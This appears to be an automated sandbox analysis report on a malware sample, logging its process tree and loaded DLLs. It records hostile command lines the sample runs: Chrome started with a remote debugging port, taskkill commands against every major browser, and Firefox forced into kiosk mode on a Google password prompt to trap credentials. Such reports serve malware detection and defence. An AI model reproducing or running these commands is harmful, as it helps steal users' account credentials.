Source: file.exe, 00000000.00000002.2217516520.00000000062E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2225176818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1992,i,1316480559027049210,2605182806938244221,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBAEBFIIEC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EBAEBFIIEC.exe "C:\Users\user\Documents\EBAEBFIIEC.exe"
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe "C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe "C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe "C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe "C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe "C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe"
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2140 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cbe96958-3f81-4a32-b212-5bd16e8524e8} 6768 "\\.\pipe\gecko-crash-server-pipe.6768" 2949c470510 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe "C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe "C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4024 -parentBuildID 20230927232528 -prefsHandle 4340 -prefMapHandle 4336 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {92ef462a-06cc-4d9b-9b96-d016683edb30} 6768 "\\.\pipe\gecko-crash-server-pipe.6768" 294ae474e10 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe "C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe"
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe "C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe"
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe "C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe"
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2224 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d7bd456a-bb2b-4481-8cf6-bd15856c7dab} 7188 "\\.\pipe\gecko-crash-server-pipe.7188" 1e153a6f910 socket
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBAEBFIIEC.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1992,i,1316480559027049210,2605182806938244221,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EBAEBFIIEC.exe "C:\Users\user\Documents\EBAEBFIIEC.exe"	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe "C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe "C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe "C:\Users\user\AppData\Local\Temp\1013506001\0882197cda.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe "C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe "C:\Users\user\AppData\Local\Temp\1013508001\9c573f8941.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2140 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cbe96958-3f81-4a32-b212-5bd16e8524e8} 6768 "\\.\pipe\gecko-crash-server-pipe.6768" 2949c470510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4024 -parentBuildID 20230927232528 -prefsHandle 4340 -prefMapHandle 4336 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {92ef462a-06cc-4d9b-9b96-d016683edb30} 6768 "\\.\pipe\gecko-crash-server-pipe.6768" 294ae474e10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013507001\6693ff7180.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2284 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2224 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d7bd456a-bb2b-4481-8cf6-bd15856c7dab} 7188 "\\.\pipe\gecko-crash-server-pipe.7188" 1e153a6f910 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
